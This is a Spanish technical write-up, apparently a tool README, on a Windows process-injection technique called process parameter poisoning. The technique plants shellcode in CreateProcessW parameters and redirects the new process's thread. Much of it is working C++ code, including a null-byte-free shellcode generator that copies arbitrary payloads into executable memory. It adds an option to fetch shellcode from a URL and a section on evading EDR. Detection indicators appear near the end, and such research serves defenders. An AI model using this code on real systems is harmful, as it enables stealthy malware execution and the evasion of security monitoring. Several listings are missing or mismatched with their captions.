*Listado 1: Definición de la función CreateProcessW de Windows API*
 
El parámetro `lpCommandLine` especifica la línea de comandos para el nuevo proceso. Está limitado a un máximo de 32,767 caracteres Unicode, incluido el terminador nulo Unicode. Para la variante Unicode, es necesario proporcionar una cadena en la que la función pueda escribir. Si se suministra una cadena constante, cualquier intento de escritura realizado por la función de la API provoca una violación de acceso a memoria. Si el valor es `NULL`, la línea de comandos del proceso se tomará del parámetro `lpApplicationName`. Si `lpApplicationName` es `NULL`, debe proporcionarse en el campo `lpCommandLine` y está limitado a caracteres `MAX_PATH`.
 
El parámetro `lpEnvironment` proporciona una lista de variables de entorno al proceso. Si el valor es `NULL`, se utilizará el entorno del proceso creador. La lista de variables de entorno consta de cadenas sucesivas terminadas en nulo con el formato `NAME=VALUE` y otro terminador nulo al final.
 
El parámetro `lpStartupInfo` es una estructura que se muestra en el Listado 2, con campos como estación de ventana, escritorio, identificadores de entrada y salida estándar, así como campos que configuran la ventana principal del nuevo proceso. Según la documentación de Microsoft, el campo `lpReserved` está reservado para uso interno y no se documenta más. Mediante el análisis con el depurador WinDbg, fue posible relacionar este parámetro con la variable `ShellInfo` de tipo `UNICODE_STRING` en el nuevo proceso.```c
typedef struct _STARTUPINFOW {
    DWORD  cb;
    LPWSTR lpReserved;   // Copied to ShellInfo (UNICODE_STRING)
    LPWSTR lpDesktop;
    LPWSTR lpTitle;
    DWORD  dwX;
    DWORD  dwY;
    DWORD  dwXSize;
    // (...) additional fields
    WORD   wShowWindow;
    WORD   cbReserved2;
    LPBYTE lpReserved2;
    HANDLE hStdInput;
    // (...) additional fields
} STARTUPINFOW, *LPSTARTUPINFOW;

*Listado 3: Disposición de la estructura de datos PEB*```c
typedef struct _RTL_USER_PROCESS_PARAMETERS
{
    ULONG MaximumLength;
    ULONG Length;
    ULONG Flags;
    ULONG DebugFlags;
    // (...) additional fields
    CURDIR         CurrentDirectory;
    UNICODE_STRING DllPath;       // Potential candidate for transfer
    UNICODE_STRING ImagePathName; // Potential candidate for transfer
    UNICODE_STRING CommandLine;   // Primary candidate for transfer
    PVOID          Environment;   // Primary candidate for transfer
    // (...) additional fields
    UNICODE_STRING ShellInfo;     // Primary candidate for transfer
                                  // (lpReserved in STARTUPINFO)
    UNICODE_STRING RuntimeData;   // Potential candidate for transfer
    // (...) additional fields
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

*Listado 5: Implementación de CreateProcessWithPoison*
 
Esta función implementa tres opciones de parámetros distintas:
 
1. **Inyección en ShellInfo:** Coloca el veneno en el campo `lpReserved` del parámetro `lpStartupInfo`, que se copiará a la variable `ShellInfo` en el PEB.
2. **Inyección en el entorno:** Coloca el veneno en el parámetro `lpEnvironment` con la marca `CREATE_UNICODE_ENVIRONMENT`.
3. **Inyección en la línea de comandos:** Coloca el veneno en el parámetro `lpCommandLine` de `CreateProcessW`.

<img width="753" height="445" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/878e41931d49b82212556e099ba928cab890d427cd87498fb667f3e0965dbbe1.png" />


*Figura 3: Selección del parámetro a envenenar*


<img width="752" height="167" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/a128d8601b3edcfbf31ba3aa3c10fe995910fc932973a6d86e263f6edafb1bb8.png" />

 
*Figura 4: Selección del ejecutable de la aplicación objetivo*
 
### 4.2 Localización de los datos inyectados en el nuevo proceso
 
Tras la creación exitosa del proceso, los datos inyectados pueden encontrarse mediante la estructura PEB. Se requieren los siguientes tres pasos para localizar el veneno en el nuevo proceso.
 
En primer lugar, la dirección inicial de la estructura PEB se determina llamando a `NtQueryInformationProcess`. `NtQueryInformationProcess` recupera la estructura de datos `PROCESS_BASIC_INFORMATION` cuando se llama con la clase de información `ProcessBasicInformation`. Y `PROCESS_BASIC_INFORMATION` contiene la dirección del PEB en el campo `PebBaseAddress`. Este paso se muestra en el Listado 6.```cpp
WinApiResolver winapi = WinApiResolver::GetInstance();
PROCESS_BASIC_INFORMATION pbi = { 0 };
ULONG retLen;
winapi.NtQueryInformationProcess(
    pi.hProcess,             // Handle of the new process
    ProcessBasicInformation, // Query PROCESS_BASIC_INFORMATION
    &pbi,                    // Destination
    sizeof(pbi),             // Size of the destination
    &retLen                  // Resulting size of what was read
);

*Listado 7: Segundo paso para localizar los datos inyectados*
 
Después de leer el PEB, el campo `ProcessParameters` contiene la dirección de inicio de la estructura `RTL_USER_PROCESS_PARAMETERS` en el nuevo proceso. En el tercer paso, esta estructura también se lee del nuevo proceso. Los punteros a los datos inyectados están dentro de esta estructura. El tercer paso se muestra en el Listado 8.```cpp
RTL_USER_PROCESS_PARAMETERS parameters = { 0 };
status = winapi.NtReadVirtualMemoryEx(
    pi.hProcess,                // Handle of target process
    pebLocal.ProcessParameters, // ProcessParameters address in target
    &parameters,                // Output buffer / Local copy
    sizeof(parameters),         // Size to be read
    &bytesRead,                 // Resulting size of what was read
    0                           // Reserved parameter
);

*Listado 9: Manipulación del contexto de hilo en ThreadSetExec*
 
### 4.4 Inyecciones de payload implementadas
 
Nuestra implementación de esta técnica de inyección incluye las siguientes cuatro opciones de payload que se muestran en la Figura 5.
 
1. La primera opción es una demo simple que muestra una ventana emergente y se muestra en la Figura 5. Esta opción no requiere shellcode adicional ni archivos ejecutables que se vayan a inyectar.
2. La segunda opción toma una representación hexadecimal de shellcode y la inyecta. Si el shellcode contiene bytes nulos, se inyecta con el método descrito en la Sección 5.
3. La tercera opción acepta una ruta a un archivo DLL que luego se proporciona a `LoadLibraryA` dentro del objetivo.
4. Por último, la cuarta opción carga shellcode sin procesar desde una URL HTTP(S) y también se encarga de la limitación de bytes nulos.

<img width="598" height="200" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/f98211120a8cba1628a3514f30befdc7e8ba315cec4148f071216ee5647b7c9b.png" />


*Figura 5: Elección del shellcode inyectado*


<img width="841" height="556" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/3d662981ef5fe16b62eb12c934ba483f9cb75e87343e5ea330de69b2ed5f2985.png" />


*Figura 6: Cuadro de mensaje creado por shellcode*
 
---

## 5. Pasar shellcode arbitrario en una cadena
 
No es posible pasar datos arbitrarios dentro de los parámetros. Esto se debe a que solo se copian los datos hasta un terminador nulo. Para superar esta limitación, hemos construido un generador de shellcode que no emite terminadores nulos.
 
Este generador de shellcode puede crear shellcode para llamar a `MessageBoxA`, `LoadLibraryA`, `NtTerminateProcess` o `NtSuspendThread` con parámetros arbitrarios. Además, puede generar shellcode que decodifica un shellcode de segunda etapa arbitrario y salta a él.
 
Está implementado en la clase C++ `ShellCodeWriter` con métodos auxiliares privados y métodos públicos para la funcionalidad expuesta. Los detalles de implementación se explicarán a continuación.
 
### 5.1 Métodos auxiliares de bajo nivel utilizados por el generador de shellcode
 
`Xor` se utiliza como la primitiva que permite al shellcode generar cualquier dato, incluidos bytes nulos. Esta primitiva está implementada en el método auxiliar `SetRAXXOR` que toma dos valores de 64 bits. Emite shellcode que realiza una operación xor con los valores de 64 bits dados y guarda el resultado en el registro `RAX`.
 
El método auxiliar adicional `SetRAX` crea estos dos valores de 64 bits que, al aplicarles xor, dan como resultado un valor dado. También garantiza que estos dos valores de 64 bits no contengan bytes nulos. En esencia, `SetRAX` emite shellcode que establecerá el registro `RAX` a un valor arbitrario de 64 bits.
 
Tanto `SetRAXXOR` como `SetRAX` se muestran en el Listado 10. Además, el código máquina resultante de tres llamadas de ejemplo a `SetRAX` se muestra en el Listado 11.```cpp
void ShellCodeWriter::SetRAXXOR(uint64_t xor_a_value, uint64_t xor_b_value)
{
    const char gadget[] =
        "\x48\xB8\xB0\xC5\x2F\x6D\xFB\x7F\x01\x01" // mov rax, XOR_A
        "\x49\xBF\x01\x01\x01\x01\x01\x01\x01\x01" // mov r15, XOR_B
        "\x4C\x31\xF8";                              // xor rax, r15
    uint64_t* xor_a = (uint64_t*)(gadget + 2);
    uint64_t* xor_b = (uint64_t*)(gadget + 12);
    *xor_a = xor_a_value;
    *xor_b = xor_b_value;
    AppendShellCode(gadget, 23);
}
 
void ShellCodeWriter::SetRAX(uint64_t value)
{
    if (value == 0)
    {
        AppendShellCode("\x48\x31\xC0", 3); // xor rax, rax
        return;
    }
    uint64_t xor_a = 0, xor_b = 0x0101010101010101;
    // Adjust the xor key (xor_b) to ensure xor_a will have no zero bytes
    for (int i = 0; i < 8; i++)
    {
        if (((uint8_t*)(&value))[i] == 0x01)
        {
            ((uint8_t*)(&xor_b))[i] = 0x02;
        }
    }
    xor_a = value ^ xor_b;
    SetRAXXOR(xor_a, xor_b);
}

*Listado 11: Ejemplos de código emitido por SetRAX*
 
`SetRAX` es la base de los métodos auxiliares `PushValue`, `PushBuffer`, `SetArgRegister` y `SetArgRegisterStackRelative`. `PushValue` llama a `SetRAX` y lo sigue con una instrucción `push RAX`, lo que permite empujar valores arbitrarios a la pila. `PushBuffer` usa `PushValue` para escribir un arreglo arbitrario de bytes en la pila; para ello divide los datos en valores de 64 bits y los empuja en orden inverso. El orden debe invertirse, ya que el puntero de pila se decrementa después de cada push. El generador de shellcode lleva la cuenta de cuántos bytes se empujaron con la variable `m_total_consumed_stack_bytes`. Esta variable se usa en el método auxiliar `FreeStack` para limpiar la pila, devolviendo el puntero de pila a su valor inicial.
 
En la interfaz binaria de aplicación x86 de 64 bits de Windows, los registros `RCX`, `RDX`, `R8` y `R9` se usan para los primeros cuatro argumentos al llamar a una función. Los argumentos adicionales se empujan a la pila, después de un espacio de sombra de 32 bytes. El espacio de sombra está reservado para la función llamada y se usa para guardar los cuatro primeros registros de argumentos. `SetArgRegister` y `SetArgRegisterStackRelative` se usan para establecer uno de estos cuatro registros de argumentos. `SetArgRegister` establece un registro determinado a un valor constante arbitrario. Y el código generado por `SetArgRegisterStackRelative` escribe el puntero de pila más un desplazamiento constante en el registro de argumentos correspondiente. Cualquier argumento adicional de función puede empujarse con el método auxiliar `PushValue`.
 
El auxiliar `Call` emite código que alinea el puntero de pila a 16 bytes, luego realiza una llamada a la dirección dada y, por último, revierte cualquier cambio de alineación que haya realizado inicialmente. Se requiere un puntero de pila alineado a 16 bytes para evitar fallos en funciones que utilizan operaciones de registros de punto flotante XMM. Al llamar a funciones con argumentos que se pasan en la pila, la alineación debe ser correcta antes de llamar a este auxiliar. De lo contrario, los argumentos terminan en el desplazamiento de pila incorrecto.
 
### 5.2 Implementación de Operaciones de Nivel Superior
 
La operación más simple es llamar a `NtTerminateProcess` o `NtSuspendThread`. Debido a su similitud, solo se cubrirá `NtTerminateProcess`, que se muestra en el Listado 12. `NtTerminateProcess` toma dos parámetros y sigue la convención de llamadas x64. Primero, se llama al auxiliar `SetArgRegister` para ambos parámetros, para inicializarlos con los valores suministrados. Luego se llama a la función API.
 
Dado que el shellcode se genera en la misma máquina, la dirección de la función se resuelve en el momento de la generación y no dentro del shellcode. La resolución de funciones API la maneja la clase `WinApiResolver`. Finalmente, el método auxiliar `Call` genera la instrucción de llamada y el código de alineación de la pila.```cpp
void ShellCodeWriter::CallTerminateProcess
(HANDLE ProcessHandle, NTSTATUS ExitStatus)
{
    SetArgRegister(0, (uint64_t)ProcessHandle);
    SetArgRegister(1, ExitStatus);
    WinApiResolver winapi = WinApiResolver::GetInstance();
    Call((uint64_t)winapi.NtTerminateProcess);
}

*Listado 13: Implementación de ShellCodeWriter::CallLoadLibraryA*
 
Finalmente, `LoadAndCallShellCode` toma un shellcode arbitrario que puede incluir bytes nulos y lo ejecuta. Su implementación se muestra en los Listados 14 y 15 y se divide en las siguientes cinco operaciones:
 
1. El shellcode arbitrario se escribe en la pila mediante `PushBuffer`. Después, se asigna el espacio de sombra (shadow space) para proteger el shellcode de ser sobrescrito.
2. A continuación, se realiza una simple llamada a `VirtualAlloc` que utiliza parámetros ya conocidos en el momento de la generación. Esta llamada a la API asigna memoria protegida contra lectura y escritura que puede contener el shellcode.
3. Después, la dirección de memoria devuelta por `VirtualAlloc` se guarda en los dos registros `R12` y `R10`. Luego, `R11` se inicializa con el tamaño del shellcode y `RCX` se establece para que apunte al inicio del shellcode. Con los registros `R10`, `R11` y `RCX` configurados, siguen seis instrucciones que realizan una copia de memoria, copiando el shellcode en la región de memoria recién asignada.
4. Saltar al shellcode todavía no es posible, ya que la región de memoria está protegida contra lectura y escritura. Es posible asignar una región de lectura/escritura y ejecutable; sin embargo, esto probablemente se consideraría más sospechoso. Por lo tanto, se realiza una llamada a `VirtualProtect` para cambiar la protección a legible y ejecutable, pero no escribible.
5. Y por último, se realiza un salto al shellcode, después de asegurarse de que la pila esté correctamente alineada.```cpp
void ShellCodeWriter::LoadAndCallShellCode(const std::vector<uint8_t>& shellcode)
{
    // 1. Pushes the shellcode to the stack
    PushBuffer(shellcode.data(), shellcode.size());
    int pos_sc = m_total_consumed_stack_bytes;
    // Shadow Space
    AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
    m_total_consumed_stack_bytes += 32;
 
    // 2. Allocates READWRITE memory
    CallVirtualAlloc(NULL, shellcode.size(), MEM_COMMIT, PAGE_READWRITE);
 
    { // 3. Copies shellcode from the stack to the newly allocated area
        AppendShellCode("\x49\x89\xC4", 3); // mov r12, rax ; shellcode_dest
        AppendShellCode("\x49\x89\xC2", 3); // mov r10, rax ; shellcode_dest
        SetRAX(shellcode.size());
        AppendShellCode("\x49\x89\xC3", 3); // mov r11, rax ; size
        SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - pos_sc));
        // r10: Shellcode dest ptr
        // r11: size
        // rcx: Shellcode src ptr
        const char* copy_sc =
            "\x8A\x01"   // mov al, byte ptr ds:[rcx]
            "\x41\x88\x02" // mov byte ptr ds:[r10], al
            "\x48\xff\xc1" // inc rcx
            "\x49\xff\xc2" // inc r10
            "\x49\xff\xcb" // dec r11
            "\x75\xf0";    // jnz -16
        AppendShellCode(copy_sc, 16);
    }
    // (...)

if (m_total_consumed_stack_bytes % 16)
{
    AppendShellCode("\x58\x50\x50", 3); // pop rax; push rax; push rax;
    m_total_consumed_stack_bytes += 8;
}

// 5. Jumps to the newly allocated area
AppendShellCode("\x41\xff\xe4", 3); // jmp r12

*Listado 15: Implementación de `ShellCodeWriter::LoadAndCallShellCode` (Pasos 4–5)*

---

## 6. Ventajas de la evasión de detección mediante esta técnica

Una de las principales ventajas de esta técnica es que no se crean procesos en estado suspendido ni se suspenden hilos o procesos durante su ejecución. La creación de procesos suspendidos o las llamadas repetidas a `SuspendThread` son indicadores conocidos utilizados por los EDR para el vaciado de procesos, la inyección de procesos y ataques similares.

Además, al crear el proceso objetivo, ya se dispone de un handle del hilo principal que tiene el acceso necesario para modificar su contexto.

| Aspecto | Inyección clásica | Envenenamiento de parámetros de proceso |
|---|---|---|
| Asignación de memoria | `VirtualAllocEx` requerido | Sin asignación explícita |
| Escritura de memoria | `WriteProcessMemory` requerido | Indirecta mediante `CreateProcessW` |
| Redirección de ejecución | `CreateRemoteThread` o APC | `SetThreadContext` |
| Probabilidad de detección | Alta (muchas API sospechosas) | Reducida (creación benigna de procesos) |
| Telemetría del EDR | Estrechamente monitorizada | Observabilidad reducida |

En general, esta técnica resulta mucho menos sospechosa, ya que deja una huella más pequeña al utilizar API legítimas de creación de procesos y gestión de hilos.

---

## 7. Enfoque de detección

Existen varios indicadores sospechosos generados por esta técnica que pueden utilizarse para detectarla.

- `VirtualProtectEx` que hace ejecutable una región de memoria seguido de `SetThreadContext` con al menos `CONTEXT_CONTROL`. Cabe señalar que el puntero de instrucción no tiene por qué apuntar a esta región ejecutable, ya que puede apuntar en su lugar a un gadget que luego la redirija. Sin embargo, es muy probable que un puntero a la región de memoria se escriba en uno de los registros de la CPU.
- `VirtualProtectEx` que hace ejecutables páginas de los parámetros del proceso, tanto en el propio proceso como en procesos externos.
- La creación de un proceso en el que uno de los tres parámetros abusados resulte sospechoso. Por ejemplo, si la entropía de la línea de comandos es cercana a la entropía del shellcode o está lejos de la entropía de un valor normal de línea de comandos. Además, si la longitud del parámetro suministrado es excesiva o contiene muchos caracteres inusuales. Sin embargo, confiar únicamente en esto probablemente dará lugar a falsos positivos.
- La lectura de la estructura de parámetros de proceso de un proceso remoto a la que el PEB tiene un puntero.

---

## 8. Conclusión

En resumen, los atacantes pueden eludir las soluciones de seguridad modernas mediante nuevas ideas y pequeñas modificaciones, ya sea desarrollando nuevas técnicas o reaplicando técnicas antiguas de formas novedosas.
Por lo tanto, es importante desarrollar continuamente nuevas reglas de detección y no depender únicamente de una solución existente.

---

## 9. Referencias

[1] https://web.archive.org/web/20241211190548/https://modexp.wordpress.com/2020/07/31/wpi-cmdline-envar/